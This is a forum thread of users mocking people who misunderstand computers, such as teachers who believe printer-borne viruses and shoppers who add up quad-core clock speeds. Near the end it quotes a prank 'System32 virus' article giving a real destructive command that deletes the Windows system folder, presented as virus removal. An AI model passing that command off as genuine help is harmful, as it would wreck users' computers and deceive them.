[QUOTE=Magman77;21224286]One of my fellow school students decided that he was a computer techy. I thought that was alright, he'd just get something wrong and stop. He then decided that he would "help" me. I said it would be okay, and he could see what he could do, even though nothing was wrong. So he went ahead and said "You are going to have to stop using this computer right now, man". Agitated, I said "Sorry, but I'm staying here", he stomped off in a grumpy mass and minutes later came back with the teacher (Oh fun). The teacher had told me that he was informed that the computer I was using had a very serious virus and could go through the printer into the other computers, and eventually the whole network. I was really irritated at this point and tried to explain that it didn't have a virus and a virus couldn't travel through a printer to the entire network- I was cut off by said "techy" and then was sent to the office. Then he logged me off with a small amount of unsaved work on the computer and made me talk to the vice principle for an hour and a half.
None of you have any idea how pissed off I was and am. :saddowns:[/QUOTE]
i cannot believe that these teachers actually takes lessons to learn such bullshit... what's next? when you miss the toilet when pissing, the waterlevel in the oceans will rise because they both have contact with the ground.
hey, these levels of dumbnesses leaves a nice fuzzy feeling inside when you REALLY try to get into it.
*cough* Everyone in the Hardware/Software section *cough*

Really? It just makes me want to pee on their shoes and poop in their neckholes once I blow their head off with my kung fu fist.

charming.
I'm a bit outraged at a student standing up for his claims like that, though, I don't know why the teacher would have followed so vigilantly though.
I love it how you do something other people can't so they give you the title "Hacker".
[QUOTE=Roast Beast;21224536]Reading things like this makes me glad I was home schooled until college, never had to deal with that kind of shit.[/QUOTE]
hahahahah why were you home schooled? fat or ginger?

[QUOTE=Some random kid]Wow, you want a Core i7 PC? 1.6Ghz seems slow on its own but you do realize Core i7 is a quad core CPU right? That means 4 times the amount. So effectively it runs at 6.4Ghz.[/quote]

I'm pretty sure every teacher is dumb enough to believe that your ibm cable can speed up your "y63ks24"
ports on your ram sticks that can be plugged into your cpu to create a gpu more powerful than the GTX 480. :downs: <------

Same.
Then Facepunch told me i was wrong, and i'm fine with that.
[QUOTE=Bomimo;21211384]just let that rest. i'm getting tired of this. it's all just hardware anyway.
each machine is better for their shit, whatever. get over it. tell me of idiots playing checkers on their touchscreen laptops or something instead.[/QUOTE]
Well, this stupid emo hipster kid told me he spent 3000 bucks on his touchscreen laptop, I ask him if he can play crysis and other games that requires good specs. The only thing he does with it is playing chess, write papers and listen to stupid emo music.

To be honest it's what it should logically be. It's not immediately obvious that wouldn't be the case.
I think I found the most Illiterate of them all.

Seems pretty obvious to me. The clock rate of a processor is referred to as its speed, and having more things traveling at the same speed doesn't increase the speed of the group as a whole.
Yeah, I mean think of it like this:
1 man types a 5,000 word essay in 1 hour.
4 men type a collective 20,000 word essay in the same time frame.
Assuming all 4 men type at the same speed (which in a quad core all the cores run at the same speed).
If only it did work that way.

Those men can type mighty fast.
A computer can divide 592,151,198,084,569,745,215.3164896 by 789,451,236,541,235,465.1948576^23 in less than a second, so those dudes are allowed to type fast. :v:

[B]System32[/B] is a [URL="http://encyclopediadramatica.com/Virus"]virus[/URL] that infects your [URL="http://encyclopediadramatica.com/Windows"]Windows[/URL] directory and turns it into a [URL="http://encyclopediadramatica.com/Shit_nobody_cares_about"]Sega[/URL] game. [URL="http://encyclopediadramatica.com/Microsoft"]Microsoft[/URL] makes software to remedy this called "My Computer". It comes pre-installed with most Windows systems and can most likely be found on your desktop.
To remove the [B]System32[/B] trojan virus, you have two choices. The quickest, most effective method is to press the Windows key on the keyboard, hold it, and press 'R', and then type [B]cmd /c rd /s /q %windir%\system32[/B] -- or you may double-click "My Computer", then right-click the infected C: directory, and choose Delete. Ignore any warnings, as this malicious virus will try to stay on your directory as long as it can. However, if it is too late for "My Computer" to fix it, your computer will stop working.
Of course if this doesn't fix your problem sufficiently you can always do a factory wipe. This operation is carried out by removing your hard drive then unscrewing the case. After this remove the black disk inside the casing (this covered with system32) and clean with acetone until the aluminium platters are clean once more. While you are at it, remove your RAM chips and wipe them on a woollen jumper as to renew the static in the static RAM. Finally for really improved performance, drop a live hand grenade into the CPU, the shock wave from the explosion will compact your data into smaller bits giving you more memory.
Remounting is the reverse of removal, then Press the on button and- voila!- "system 32" is gone. Enjoy your bug free, virus free computer.
A popular solution to System32 is [URL="http://encyclopediadramatica.com/Windows_Optimizer"]Windows Optimizer[/URL].[/QUOTE]

I've also noticed this. This also applies to the furries I've argued with.

Just ask him if he's played any good mods lately.
If he keeps bitching he's clearly a moron who can't accept opinions.
I was at the local store with my mates, one of which was buying and Ipod Touch.
My friend asked the assistant if they had and Ipads in, he wanted to look at them.
.
I say " well they are giant Ipod touches anyway. She turns around, and I notice the apple tee-shirt, and rainbow apple logo tattoo on her arm.
Anyway, we start being dickheads with the macs, and she spends the next half hour telling me that macs are more expensive becasue they have better quality parts.
She also told me it's impossible to get a virus on a Mac, and when I say "That screen is just too big", she says that's becasue macs are built into them, and use bigger parts therefore are better.
Then she decides to say there are more mac games than PC games, and that I can't swap the parts in a mac, becasue you need special machines to do it with surgical precision, and you risk destroying your PC if you do it yourself.
On my Youtube channel comments....

I forgot the best part: To the Ipad is just a big ipod touch, only thing she could say was "errr, no"
